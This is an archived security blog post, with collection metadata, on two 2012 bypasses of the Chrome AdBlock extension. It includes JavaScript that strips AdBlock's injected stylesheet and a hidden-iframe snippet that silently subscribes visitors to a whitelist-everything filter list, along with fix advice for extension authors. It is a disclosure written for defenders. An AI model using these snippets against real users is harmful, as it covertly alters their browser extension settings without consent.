---
type: Article
title: "Chrome addons hacking: Bye Bye AdBlock filters!"
description: "Two ways for a web page to defeat Chrome AdBlock. Because the extension hides ads by inserting a stylesheet link into the page DOM, the page can listen for DOMNodeInserted and remove it. Worse, ordinary pages could load extension resources, so framing the extension's subscribe.html with an attacker-controlled location parameter silently subscribes the victim to a whitelist-everything filter list."
resource: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html"
tags: [article, webseclist-reference, blog-kotowicz-net, browser-extension, dom, javascript, filter-bypass, css, owasp-a05-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-10T15:04:48+00:00"
status: stable
stale_after: 2027-08-10
sources:
  - id: original
    resource: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html"
    title: "Chrome addons hacking: Bye Bye AdBlock filters!"
  - id: canonical
    resource: "https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html"
  - id: capture
    resource: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html"
also_at: []
authors: []
canonical_url: "https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html"
cited_by:
  - "2012.md:7"
commit: ""
content_sha256: d5f1879aa33ca7437c8a51e529d6dcb7eb5d10ff4b50a514e7ac89411a852bbd
depth: full
depth_reason: default
kind: article
language: ""
licence: unknown
original_url: "https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html"
published: ""
publisher: blog.kotowicz.net
publisher_english: ""
raw_sha256: ef03e6889f4e83b6b0657b56466be2008c145ce62888fa5cbf22b04e06d62e62
retrieved_from: "https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html"
retrieved_kind: live
retrieved_utc: "2026-08-10T15:04:48+00:00"
slug: blog-kotowicz-net-chrome-addons-hacking-bye-bye-adblock-filters
snapshot: 20170903113359
title_english: ""
translation_file: ""
translation_of: ""
---

# Chrome addons hacking: Bye Bye AdBlock filters!

**Chrome addons hacking: Bye Bye AdBlock filters!** - Author not stated, blog.kotowicz.net.

- Published: date not stated
- Original: <https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html>
- Current location: <https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html>
- Preserved from: https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html (live) on 2026-08-10
- Capture timestamp: 20170903113359
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

[![](https://web.archive.org/web/20171001104006im_/http://2.bp.blogspot.com/-OYUwK93L-6o/T3MNsBLxtgI/AAAAAAAAFKI/49w70ahzRjc/s1600/icon128.png)](https://web.archive.org/web/20171001104006/http://2.bp.blogspot.com/-OYUwK93L-6o/T3MNsBLxtgI/AAAAAAAAFKI/49w70ahzRjc/s1600/icon128.png)

 Continuing the Chrome extension hacking (see [part 1](https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html) and [2](https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/02/chrome-addons-hacking-want-xss-on.html)), this time I'd like to draw you attention to the oh-so-popular [AdBlock](https://web.archive.org/web/20171001104006/https://chrome.google.com/webstore/detail/gighmmpiobklfepjocnamgkkbiglidom) extension. It has **over a million users**, is being actively maintained and is a piece of a great software (heck, even I use it!). However - due to how Chrome extensions work in general it is still **relatively easy to bypass** it and display some ads. Let me describe two distinct vulnerabilities I've discovered. They are both exploitable in the newest 2.5.22 version.

 **tl;dr: **Chrome AdBlock 2.5.22 bypasses, demo [here](https://web.archive.org/web/20171001104006/http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/bypass.html) and [here](https://web.archive.org/web/20171001104006/http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/disable.html), but I'd advise you to read on.

##  Preparation

 If you want to analyze the extension code yourself, use my [download script](https://web.archive.org/web/20171001104006/https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/download.php) to fetch the addon from Chrome Web Store and read on:

```
// you need PHP with openssl extension and command line unzip for this
$ mkdir addons
$ php download.php gighmmpiobklfepjocnamgkkbiglidom AdBlock

```

 Of course, you don't need to, but if you won't it makes me sad :/

##  Small bypass - disabling filter injection

 Like many Chrome extensions, AdBlock alters the content of the webpages you see by modifying a page DOM. For example, it injects a <link rel=stylesheet> that hides all ads with [CSS](https://web.archive.org/web/20171001104006/http://en.wikipedia.org/wiki/Cascading_Style_Sheets). This all happens in adblock_start_common.js:

```
function block_list_via_css(selectors) {
  var d = document.head || document.documentElement;
//....
  // Issue 6480: inserting a <style> tag too quickly made it be ignored.
  // Use ABP's approach: a <link> tag that we can check for .sheet.
  var css_chunk = document.createElement("link");
  css_chunk.type = "text/css";
  css_chunk.rel = "stylesheet";
  css_chunk.href = "data:text/css,";
  d.insertBefore(css_chunk, null);
// ... and fill the node contents later on

```

 Sweet & cool, right? But the problem is websites have [tons of ways](https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html) to defend themselves from being altered. After all, it's *their* DOM you're messing with. So, the easiest bypass would be to listen for anyone adding a stylesheet and removing it.

```
function block(node) {
    if (   (node.nodeName == 'LINK' && node.href == 'data:text/css,') // new style
        || (node.nodeName == 'STYLE' && node.innerText.match(/^\/\*This block of style rules is inserted by AdBlock/)) // old style
        ) {
        node.parentElement.removeChild(node);
    }

}
document.addEventListener("DOMContentLoaded", function() {
    document.addEventListener('DOMNodeInserted', function(e) {
    // disable blocking styles inserted by AdBlock
    block(e.target);
    }, false);

}, false);

```

 In the effect the stylesheet is removed and the ads are not hidden anymore. **See in the [demo](https://web.archive.org/web/20171001104006/http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/bypass.html)**. This is similar to how many Chrome extensions work. Extension authors should remember that **you can't rely on page DOM to be cool with you, it can actively prevent modification. **In other words, it's not your backyard, behave.

##  Total bypass - Disable AdBlock for good

 The previous one was a kid's play, but the real deal is here. Any website can [detect](https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html) if you're using Chrome AdBlock and disable it completely for the future. It is possible thanks to a vulnerability in a filter subscription page. Subscription code works by launching chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html page. Here's what happens:

```
// pages/subscribe.js
  //Get the URL
  var queryparts = parseUri.parseSearch(document.location.search);
  ...
  //Subscribe to a list
  var requiresList = queryparts.requiresLocation ?
      "url:" + queryparts.requiresLocation : undefined;
  BGcall("subscribe",
      {id: 'url:' + queryparts.location, requires:requiresList});

```

 First, the query string for the page is parsed and than a subscription request is sent to [extension background page](https://web.archive.org/web/20171001104006/http://code.google.com/chrome/extensions/background_pages.html) getting the location parameter. So, when extension launches subscribe.html?location=http://example.com this will subscribe to a filter from URL http://example.com.

 All neat, but what extension authors don't know, **standard web pages page can load your extension resources too**. In the future, extension authors can limit this by using [web_accessible_resources](https://web.archive.org/web/20171001104006/http://code.google.com/chrome/extensions/trunk/manifest.html#web_accessible_resources), but for Current Chrome 17 it's not possible.

 So, what is the easiest way to disable Chrome AdBlock? Make it subscribe to a [whitelist-all](https://web.archive.org/web/20171001104006/https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/adblock/list.txt) list:

```
<iframe style="position:absolute;left:-1000px;" id="abp" src=""></iframe>
//...
document.getElementById('abp').src = 'chrome-extension://'+addon_id + '/pages/subscribe.html?location=' + location.href.replace('disable.html', 'list.txt');

```

 **See for yourself in the [demo](https://web.archive.org/web/20171001104006/http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/disable.html). **
 To reenable AdBlock functionality go to extension settings, choose the filter list tab and disable the last added filter (koto.github.com one).

 How to fix this in the code? **Don't rely on the URL of your extension resource to perform some action.**
